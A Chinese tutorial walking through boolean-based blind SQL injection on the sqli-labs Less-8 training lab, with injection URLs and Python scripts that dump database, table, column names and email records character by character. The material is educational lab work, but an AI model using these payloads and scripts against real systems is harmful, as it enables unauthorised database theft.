SQL注入之基于布爾的盲注詳解
基于布爾的盲注
Web的頁(yè)面的僅僅會(huì)返回True和False。那么布爾盲注就是進(jìn)行SQL注入之后然后根據(jù)頁(yè)面返回的True或者是False來得到數(shù)據(jù)庫(kù)中的相關(guān)信息。
由于本次是布爾注入,手注無法完整地進(jìn)行脫褲。所以在本節(jié)需要編寫大量的代碼來幫助我們進(jìn)行SQL注入,得到數(shù)據(jù)。所以在這章里面會(huì)有很多的Python代碼。
本次的示例就是Less-8。
通過進(jìn)行下面的語句的注入測(cè)試
http://localhost/sqlilabs/Less-8/?id=2' http://localhost/sqlilabs/Less-8/?id=2" http://localhost/sqlilabs/Less-8/?id=2\
進(jìn)行測(cè)試的時(shí)候,只有在id=2'
的時(shí)候頁(yè)面無法顯示內(nèi)容。輸入的語句如果符合要求,頁(yè)面就會(huì)顯示內(nèi)容,但是顯示的內(nèi)容都是一樣的。這種情況下頁(yè)面上的輸出對(duì)于我們來說是完全沒有用的,包括SQL執(zhí)行出錯(cuò)的信息都不會(huì)在頁(yè)面上顯示。這種情況下之前的通過執(zhí)行SQL語句然后在頁(yè)面上顯示SQL執(zhí)行之后返回的信息完全是不可能的啦。這種情況下就是一個(gè)典型的SQL盲注了。
我們通過頁(yè)面是否顯示內(nèi)容來判斷我們的SQL語句是否正確,進(jìn)而猜解數(shù)據(jù)庫(kù)的信息。
通過上面的注入測(cè)試,我們知道后臺(tái)的SQL的注入語句的寫法是:
select field from table where id='userinput'
id參數(shù)是被單引號(hào)包括的。其他的信息我們就無法得到了。
得到數(shù)據(jù)庫(kù)的名稱
在得到數(shù)據(jù)庫(kù)的名稱之前,首先需要得到數(shù)據(jù)庫(kù)的長(zhǎng)度
http://localhost/sqlilabs/Less-8/?id=2' and length(database())>1 %23 http://localhost/sqlilabs/Less-8/?id=2' and length(database())>2 %23 以此類推 .....
發(fā)現(xiàn)當(dāng)值為8的時(shí)候,頁(yè)面就沒有顯示。那么說明database()
的長(zhǎng)度是8。
得到了datbase()
的長(zhǎng)度之后,接下來就是得到database()
的名稱了。
這個(gè)時(shí)候就不能完全靠手注了,必須編寫Python代碼來完成。其中最主要就是進(jìn)行大量的注入測(cè)試來判斷程序執(zhí)行正確和出錯(cuò)的時(shí)機(jī),然后斷定當(dāng)前的值可能就是正確的值。
下面就是一個(gè)簡(jiǎn)單的使用Python來進(jìn)行布爾盲注獲取數(shù)據(jù)的代碼。
def get_db_name(): result = "" url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr(database(),{0},1))>{1} %23" chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' for i in range(1,9): for char in chars: char_ascii = ord(char) url = url_template.format(i,char_ascii) response = requests.get(url) length = len(response.text) #返回的長(zhǎng)度只有706和722 if length>706: result += char break print(result)
得到最后的結(jié)果的是security,是正確的。
得到數(shù)據(jù)庫(kù)中的表信息
其實(shí)所有的SQL注入步驟都是類似的。首先得到數(shù)據(jù)庫(kù)的名稱(這一步不是必須的),然后得到當(dāng)前數(shù)據(jù)庫(kù)的表名稱,然后得到表的字段,最后進(jìn)行脫褲。這個(gè)步驟在前一章已經(jīng)有說明了。
首先看一個(gè)簡(jiǎn)單的SQL盲注獲取數(shù)據(jù)庫(kù)表信息的寫法。
http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>60 %23
其實(shí)還是使用之前的select table_name from information_schema.tables where table_schema=database() limit 0,1
這樣的語句來得到表的信息,但是現(xiàn)在是無法在頁(yè)面上顯示的,而是通過盲注來一個(gè)字符一個(gè)字符的獲取表名。
接下也同樣是通過編寫Python代碼來獲取表名了。代碼也和上面的類似。主要就是修改中的URl。在進(jìn)行Python獲取表名之前,我們同樣需要知道表名的長(zhǎng)度。
使用如下的語句就可以得到了。
獲取表名的SQL注入的寫法就是如下
http://localhost/sqlilabs/Less-8/?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
通過這種方式我們知道數(shù)據(jù)庫(kù)表中的第一個(gè)表名的長(zhǎng)度是6。知道了表名的長(zhǎng)度之后,接下來的Python腳本就很好寫了。
def get_table_name(): result = "" url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23" chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' for i in range(1,7): for char in chars: char_ascii = ord(char) url = url_template.format(i,char_ascii) response = requests.get(url) length = len(response.text) #返回的長(zhǎng)度只有706和722 if length>706: result += char break print(result)
最后得到了第一個(gè)表名是emails,如果要得到其他的表名只需要將代碼limit 0,1
修改成為limit 1,1
或者是其他的就可以了。
得到表名的列信息
在得到列名之前,同樣需要知道在表中的字段長(zhǎng)度。例如我們想要知道在emails表中的長(zhǎng)度,那么就可以使用如下的語句來獲取。
http://localhost/sqlilabs/Less-8/?id=2' and (select length(column_name) from information_schema.columns where table_name=0x656d61696c73 limit 0,1)>【num】 %23
修改num的值即可,從0開始一直到到程序出錯(cuò)。通過這種方法,我們得到在emails中存在2個(gè)字段,字段的長(zhǎng)度分別是2,8。
得到了字段長(zhǎng)度之后,接下來就是進(jìn)行布爾注入得到字段名稱了。
在編寫代碼之前,還是來看如何寫獲取字段名稱的sql語句吧。下面這個(gè)代碼就是用來獲取字段名稱的代碼。
http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),1,1))>60 %23
我們編寫的Python代碼也是利用上面這個(gè)代碼來獲取字段名稱。
def get_column_name(): result = "" url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),{0},1))>{1} %23" chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' for i in range(1,3): for char in chars: char_ascii = ord(char) url = url_template.format(i,char_ascii) response = requests.get(url) length = len(response.text) #返回的長(zhǎng)度只有706和722 if length>706: result += char break print(result)
通過上面這個(gè)代碼,我們可以得到在emails表中存在的字段名稱分別是id
和email_id
脫褲
在得到了字段名稱之后,接下來最重要的一步就是進(jìn)行脫褲了。
在進(jìn)行脫褲之前,我們首先判斷在emails表中有多少條記錄。
使用的語句如下:
http://localhost/sqlilabs/Less-8/?id=2' and (select count(*) from emails)>0 %23
修改>0中的0依次為1,2,3之后,我們得到在emails表中一共存在8條記錄。
那么接下來就是進(jìn)行脫褲了。
在脫褲之前,我們首先要知道當(dāng)前記錄的長(zhǎng)度,這個(gè)SQL語句也很好寫。
http://localhost/sqlilabs/Less-8/?id=2' and (select length(email_id) from emails limit 0,1)>15 %23
最后我們知道在emails表中的第一條記錄中的email_id
的長(zhǎng)度是16.
知道了長(zhǎng)度之后,代碼就很好寫了。
def get_data(): result = "" url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23" chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' for i in range(1,17): for char in chars: char_ascii = ord(char) url = url_template.format(i,char_ascii) response = requests.get(url) length = len(response.text) #返回的長(zhǎng)度只有706和722 if length>706: result += char break print(result)
通過上面的這段代碼就得到了內(nèi)容是Dumb@dhakkan.com,其他的內(nèi)容就同樣通過這段方式得到數(shù)據(jù)了。這里就不作演示了。
總結(jié)
其實(shí)基于布爾盲注和基于時(shí)間的盲注都是需要編寫大量的代碼,就像本篇的文章一樣。之前在簡(jiǎn)單的SQL注入中,一句SQL注入代碼就可以解決的問題在這里就需要編寫Python代碼來進(jìn)行大量的注入測(cè)試才能夠得到內(nèi)容。其實(shí)之前我也很少完整的用Python來編寫SQL注入代碼完成整個(gè)布爾盲注的注入過程。通過本章的編寫,熟悉了使用Python代碼完整地進(jìn)行一次布爾盲注的過程了,學(xué)習(xí)了很多。以上就是這篇文章的全部?jī)?nèi)容了,希望對(duì)大家能有所幫助。
相關(guān)文章
Doris?數(shù)據(jù)模型ROLLUP及前綴索引官方教程
本文檔主要從邏輯層面,描述 Doris 的數(shù)據(jù)模型 ROLLUP 以及前綴索引的概念,以幫助用戶更好的使用 Doris 應(yīng)對(duì)不同的業(yè)務(wù)場(chǎng)景,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2023-05-05最新統(tǒng)計(jì)排名前十的SQL和NoSQL數(shù)據(jù)庫(kù)排行榜
這篇文章主要介紹了最新統(tǒng)計(jì)排名前十的SQL和NoSQL數(shù)據(jù)庫(kù)排行榜,本文包括Oracle、MySQL、Microsoft SQL Server、PostgreSQL、MongoDB等數(shù)據(jù)庫(kù),需要的朋友可以參考下2014-09-09數(shù)據(jù)庫(kù)服務(wù)器構(gòu)建和部署檢查列表詳解
這篇文章主要介紹了數(shù)據(jù)庫(kù)服務(wù)器構(gòu)建和部署檢查列表的相關(guān)內(nèi)容,小編覺得挺不錯(cuò)的,這里分享給大家,供各位參考。2017-10-10SQL行轉(zhuǎn)列、列轉(zhuǎn)行的簡(jiǎn)單實(shí)現(xiàn)
這篇文章主要給大家介紹了關(guān)于SQL行轉(zhuǎn)列、列轉(zhuǎn)行的簡(jiǎn)單實(shí)現(xiàn)方法,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家學(xué)習(xí)或者使用SQL具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來一起學(xué)習(xí)學(xué)習(xí)吧2019-05-05Hadoop2.X/YARN環(huán)境搭建--CentOS7.0系統(tǒng)配置
Hadoop原本來自于谷歌一款名為MapReduce的編程模型包。谷歌的MapReduce框架可以把一個(gè)應(yīng)用程序分解為許多并行計(jì)算指令,跨大量的計(jì)算節(jié)點(diǎn)運(yùn)行非常巨大的數(shù)據(jù)集。使用該框架的一個(gè)典型例子就是在網(wǎng)絡(luò)數(shù)據(jù)上運(yùn)行的搜索算法。2014-08-08淺談關(guān)系型數(shù)據(jù)庫(kù)中如何進(jìn)行事務(wù)管理
這篇文章主要介紹了淺談關(guān)系型數(shù)據(jù)庫(kù)中如何進(jìn)行事務(wù)管理,事務(wù)是一組數(shù)據(jù)庫(kù)操作,它們必須全部執(zhí)行或全部回滾,這意味著如果在事務(wù)執(zhí)行期間出現(xiàn)錯(cuò)誤,所有的更改都將撤銷,數(shù)據(jù)庫(kù)將被恢復(fù)到事務(wù)開始之前的狀態(tài),需要的朋友可以參考下2023-07-07數(shù)據(jù)庫(kù)查詢中遭遇特殊字符導(dǎo)致問題的解決方法
數(shù)據(jù)庫(kù)查詢中遭遇特殊字符導(dǎo)致問題的解決方法,我們提供的是asp的,但其它的數(shù)據(jù)庫(kù)與語言下的解決方法也大同小異。2007-12-12通過Qt連接OpenGauss數(shù)據(jù)庫(kù)的詳細(xì)教程
本教程介紹如何通過Qt連接OpenGauss數(shù)據(jù)庫(kù),在openGauss所在的root環(huán)境下執(zhí)行相關(guān)步驟,需要Windows下配置ODBC數(shù)據(jù)源,本文給大家介紹的非常詳細(xì),需要的朋友參考下吧2021-06-06JetBrains DataGrip安裝和使用的詳細(xì)教程
日常開發(fā)中少不了各種可視化數(shù)據(jù)庫(kù)管理工具。本文介紹另一個(gè)十分好用且強(qiáng)大的工具:DataGrip。具有一定的參考價(jià)值,感興趣的可以了解一下2021-09-09